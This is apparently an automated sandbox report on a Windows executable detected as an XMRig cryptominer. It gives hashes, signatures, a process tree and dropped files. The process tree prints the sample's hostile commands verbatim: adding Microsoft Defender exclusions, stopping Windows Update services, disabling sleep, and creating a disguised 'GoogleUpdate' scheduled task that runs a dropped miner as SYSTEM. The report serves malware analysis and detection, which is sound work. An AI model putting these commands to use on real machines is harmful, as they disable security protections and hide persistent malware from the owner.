Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    13/07/2023, 08:20

General

  • Target

    6d1b84686d5dd7d8b6d0ab310b5481d1.exe

  • Size

    9.8MB

  • MD5

    6d1b84686d5dd7d8b6d0ab310b5481d1

  • SHA1

    0c6b0da06b402c1c2af43f56bb1be86b398030c3

  • SHA256

    c5ffcc379272858774a19b9d43122e1ec4b23154c5721b7d8975dd7783f3c636

  • SHA512

    0bb0e0bc9003f41a793e4238bdd673880badf37725c458e72923dbffb76d857bd58af925fcdb3fb9fb0fbc29e95a393fbeca0c9565614d6a8d4c8f4f626e238e

  • SSDEEP

    196608:dFgA7mLzVoOUJ071rCohiKyjDl9E1V8D7tB9AShx:dFgA7mLzqJ071rCo+eVq7tBbhx

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1296
      • C:\Users\Admin\AppData\Local\Temp\6d1b84686d5dd7d8b6d0ab310b5481d1.exe
        "C:\Users\Admin\AppData\Local\Temp\6d1b84686d5dd7d8b6d0ab310b5481d1.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Drivers directory
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1936
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2936
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:2924
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:2920
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:3012
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:2272
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:2704
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2244
        • C:\Windows\System32\powercfg.exe
          powercfg /x -hibernate-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2904
        • C:\Windows\System32\powercfg.exe
          powercfg /x -hibernate-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2720
        • C:\Windows\System32\powercfg.exe
          powercfg /x -standby-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2752
        • C:\Windows\System32\powercfg.exe
          powercfg /x -standby-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2692
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#dsuez#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2860
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2432
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
        2⤵
          PID:2484
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2440
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2988
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:3024
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:2976
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:3048
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:1724
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:2248
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2604
          • C:\Windows\System32\powercfg.exe
            powercfg /x -hibernate-timeout-ac 0
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2308
          • C:\Windows\System32\powercfg.exe
            powercfg /x -hibernate-timeout-dc 0
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:340
          • C:\Windows\System32\powercfg.exe
            powercfg /x -standby-timeout-ac 0
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1712
          • C:\Windows\System32\powercfg.exe
            powercfg /x -standby-timeout-dc 0
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1700
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#dsuez#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2600
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Creates scheduled task(s)
            PID:1076
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe
          2⤵
            PID:756
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2176
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {10371026-352C-43D2-B0A5-D120BD8F7506} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:696
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:556

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Program Files\Google\Chrome\updater.exe

          Filesize

          9.8MB

          MD5

          6d1b84686d5dd7d8b6d0ab310b5481d1

          SHA1

          0c6b0da06b402c1c2af43f56bb1be86b398030c3

          SHA256

          c5ffcc379272858774a19b9d43122e1ec4b23154c5721b7d8975dd7783f3c636

          SHA512

          0bb0e0bc9003f41a793e4238bdd673880badf37725c458e72923dbffb76d857bd58af925fcdb3fb9fb0fbc29e95a393fbeca0c9565614d6a8d4c8f4f626e238e

        • C:\Program Files\Google\Chrome\updater.exe

          Filesize

          9.8MB

          MD5

          6d1b84686d5dd7d8b6d0ab310b5481d1

          SHA1

          0c6b0da06b402c1c2af43f56bb1be86b398030c3

          SHA256

          c5ffcc379272858774a19b9d43122e1ec4b23154c5721b7d8975dd7783f3c636

          SHA512

          0bb0e0bc9003f41a793e4238bdd673880badf37725c458e72923dbffb76d857bd58af925fcdb3fb9fb0fbc29e95a393fbeca0c9565614d6a8d4c8f4f626e238e

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          d27c61b8215005fcd88465a1a42438fa

          SHA1

          70258393213e0957b950673bec7cc2a468d02b83

          SHA256

          827f506c6757365bf1ca8eb9adbebf75a32b8817e644b11d1e8dbdfd198c5a73

          SHA512

          71d7cd1b73ee53045611cb13516d06ca74746011a3e53c36bb059bea60fe91e1f9e0e59e408be496cb9ce177204980367f6c72dcf108d79a717ae6528504a34c

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8IIPB706PP7JPTFRPUVP.temp

          Filesize

          7KB

          MD5

          d27c61b8215005fcd88465a1a42438fa

          SHA1

          70258393213e0957b950673bec7cc2a468d02b83

          SHA256

          827f506c6757365bf1ca8eb9adbebf75a32b8817e644b11d1e8dbdfd198c5a73

          SHA512

          71d7cd1b73ee53045611cb13516d06ca74746011a3e53c36bb059bea60fe91e1f9e0e59e408be496cb9ce177204980367f6c72dcf108d79a717ae6528504a34c

        • C:\Windows\System32\drivers\etc\hosts

          Filesize

          2KB

          MD5

          3e9af076957c5b2f9c9ce5ec994bea05

          SHA1

          a8c7326f6bceffaeed1c2bb8d7165e56497965fe

          SHA256

          e332ebfed27e0bb08b84dfda05acc7f0fa1b6281678e0120c5b7c893a75df47e

          SHA512

          933ba0d69e7b78537348c0dc1bf83fb069f98bb93d31c638dc79c4a48d12d879c474bd61e3cbde44622baef5e20fb92ebf16c66128672e4a6d4ee20afbf9d01f

        • \Program Files\Google\Chrome\updater.exe

          Filesize

          9.8MB

          MD5

          6d1b84686d5dd7d8b6d0ab310b5481d1

          SHA1

          0c6b0da06b402c1c2af43f56bb1be86b398030c3

          SHA256

          c5ffcc379272858774a19b9d43122e1ec4b23154c5721b7d8975dd7783f3c636

          SHA512

          0bb0e0bc9003f41a793e4238bdd673880badf37725c458e72923dbffb76d857bd58af925fcdb3fb9fb0fbc29e95a393fbeca0c9565614d6a8d4c8f4f626e238e

        • memory/556-102-0x000000013F080000-0x000000013FA55000-memory.dmp

          Filesize

          9.8MB

        • memory/556-88-0x000000013F080000-0x000000013FA55000-memory.dmp

          Filesize

          9.8MB

        • memory/556-108-0x000000013F080000-0x000000013FA55000-memory.dmp

          Filesize

          9.8MB

        • memory/756-118-0x0000000140000000-0x000000014002A000-memory.dmp

          Filesize

          168KB

        • memory/756-112-0x0000000140000000-0x000000014002A000-memory.dmp

          Filesize

          168KB

        • memory/1936-62-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

          Filesize

          9.6MB

        • memory/1936-66-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

          Filesize

          9.6MB

        • memory/1936-65-0x00000000024B0000-0x0000000002530000-memory.dmp

          Filesize

          512KB

        • memory/1936-64-0x00000000023A0000-0x00000000023A8000-memory.dmp

          Filesize

          32KB

        • memory/1936-63-0x000000001B120000-0x000000001B402000-memory.dmp

          Filesize

          2.9MB

        • memory/1936-61-0x00000000024B0000-0x0000000002530000-memory.dmp

          Filesize

          512KB

        • memory/1936-59-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

          Filesize

          9.6MB

        • memory/1936-60-0x00000000024B0000-0x0000000002530000-memory.dmp

          Filesize

          512KB

        • memory/1964-80-0x000000013F5F0000-0x000000013FFC5000-memory.dmp

          Filesize

          9.8MB

        • memory/1964-54-0x000000013F5F0000-0x000000013FFC5000-memory.dmp

          Filesize

          9.8MB

        • memory/1964-84-0x000000013F5F0000-0x000000013FFC5000-memory.dmp

          Filesize

          9.8MB

        • memory/2176-125-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2176-113-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2176-119-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2176-117-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2176-114-0x0000000000480000-0x00000000004A0000-memory.dmp

          Filesize

          128KB

        • memory/2176-115-0x00000000004B0000-0x00000000004D0000-memory.dmp

          Filesize

          128KB

        • memory/2176-121-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2176-123-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2176-127-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2176-129-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2176-110-0x0000000000480000-0x00000000004A0000-memory.dmp

          Filesize

          128KB

        • memory/2176-111-0x00000000004B0000-0x00000000004D0000-memory.dmp

          Filesize

          128KB

        • memory/2176-109-0x00000000000B0000-0x00000000000D0000-memory.dmp

          Filesize

          128KB

        • memory/2176-131-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2176-133-0x0000000140000000-0x00000001407EF000-memory.dmp

          Filesize

          7.9MB

        • memory/2440-92-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

          Filesize

          9.6MB

        • memory/2440-94-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

          Filesize

          9.6MB

        • memory/2440-89-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

          Filesize

          9.6MB

        • memory/2440-90-0x0000000001100000-0x0000000001180000-memory.dmp

          Filesize

          512KB

        • memory/2440-91-0x0000000001100000-0x0000000001180000-memory.dmp

          Filesize

          512KB

        • memory/2440-93-0x0000000001100000-0x0000000001180000-memory.dmp

          Filesize

          512KB

        • memory/2600-97-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

          Filesize

          9.6MB

        • memory/2600-103-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

          Filesize

          9.6MB

        • memory/2600-98-0x0000000001160000-0x00000000011E0000-memory.dmp

          Filesize

          512KB

        • memory/2600-99-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

          Filesize

          9.6MB

        • memory/2600-100-0x0000000001160000-0x00000000011E0000-memory.dmp

          Filesize

          512KB

        • memory/2600-101-0x0000000001160000-0x00000000011E0000-memory.dmp

          Filesize

          512KB

        • memory/2860-81-0x0000000002680000-0x0000000002700000-memory.dmp

          Filesize

          512KB

        • memory/2860-82-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

          Filesize

          9.6MB

        • memory/2860-79-0x0000000002680000-0x0000000002700000-memory.dmp

          Filesize

          512KB

        • memory/2860-78-0x0000000002680000-0x0000000002700000-memory.dmp

          Filesize

          512KB

        • memory/2860-76-0x0000000002680000-0x0000000002700000-memory.dmp

          Filesize

          512KB

        • memory/2860-77-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

          Filesize

          9.6MB

        • memory/2860-74-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

          Filesize

          32KB

        • memory/2860-75-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

          Filesize

          9.6MB

        • memory/2860-73-0x000000001B110000-0x000000001B3F2000-memory.dmp

          Filesize

          2.9MB